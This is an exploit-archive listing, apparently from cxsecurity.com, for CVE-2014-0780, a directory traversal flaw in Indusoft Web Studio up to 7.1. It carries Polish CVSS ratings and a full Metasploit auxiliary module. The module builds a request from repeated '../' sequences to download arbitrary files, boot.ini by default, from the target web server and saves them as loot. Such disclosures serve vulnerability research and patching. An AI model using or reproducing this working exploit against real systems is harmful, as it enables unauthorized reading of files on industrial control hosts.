Indusoft Web Studio - Directory Traversal Information Disclosure

2017.09.14
Credit: james fitts
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

require 'msf/core' class MetasploitModule < Msf::Auxiliary Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Indusoft Web Studio Directory Traversal', 'Description' => %q{ This module exploits a flaw found in Indusoft Web Studio <= 7.1 before SP2 Patch 4. This specific flaw allows users to browse outside of the webroot to download files found on the underlying system }, 'Author' => [ 'James Fitts' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: $', 'References' => [ [ 'CVE', '2014-0780' ], [ 'ZDI', '14-118/' ], [ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-107-02'] ], 'DisclosureDate' => 'Jan 18 2013')) register_options( [ OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 8]), OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']), Opt::RPORT(80) ], self.class ) end def run depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH'] levels = "/" + ("../" * depth) res = send_request_raw({ 'method' => 'GET', 'uri' => "/" + levels + datastore['FILE'], }) if res and res.code == 200 and res.message =~ /Sending file/ loot = res.body if not loot or loot.empty? print_status("File from #{rhost}:#{rport} is empty...") return end file = ::File.basename(datastore['FILE']) path = store_loot('indusoft.webstudio.file', 'application/octet-stream', rhost, loot, file, datastore['FILE']) print_status("Stored #{datastore['FILE']} to #{path}") return end end end


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top